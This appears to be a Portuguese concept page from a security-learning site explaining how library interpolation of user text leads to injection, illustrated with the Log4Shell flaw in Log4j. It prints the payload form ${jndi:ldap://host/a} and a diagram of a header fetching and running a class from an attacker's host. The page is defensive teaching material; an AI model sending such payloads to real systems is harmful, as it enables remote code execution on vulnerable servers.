Pular para o conteúdo
Todos os conceitos

Interpolação que busca sozinha

Quando a biblioteca resolve ${...} dentro de um texto do usuário, o texto vira instrução.

Muitas bibliotecas trocam marcadores como ${...} por um valor antes de usar o texto: é a interpolação. Enquanto o molde é escrito pelo programador, isso é cômodo. O perigo começa quando o texto interpolado vem do usuário e a biblioteca resolve os marcadores assim mesmo.

No Log4Shell (CVE-2021-44228), o Log4j varria cada mensagem de log atrás de ${...} e resolvia "lookups". Alguns liam algo local (${date:...}, ${env:...}), mas ${jndi:ldap://host/a} fazia o programa abrir uma conexão de rede, baixar uma classe Java e executá-la. Como o código registrava um cabeçalho do pedido, bastava mandar o cabeçalho certo para rodar código no servidor.

O conserto desligou a resolução de lookups na mensagem. A regra geral: nunca deixe um texto que veio de fora passar por um passo que o interpreta; trate-o como dado puro.

cabecalho do usuario ${jndi:ldap://h/a} registrado Log4j acha ${...} resolve o lookup pela rede host do atacante baixa e executa uma classe = RCE
Um cabeçalho do usuário com ${jndi:...} entra na mensagem de log; o Log4j resolve o lookup, disca pela rede e executa a classe baixada.

Aparece nestes desafios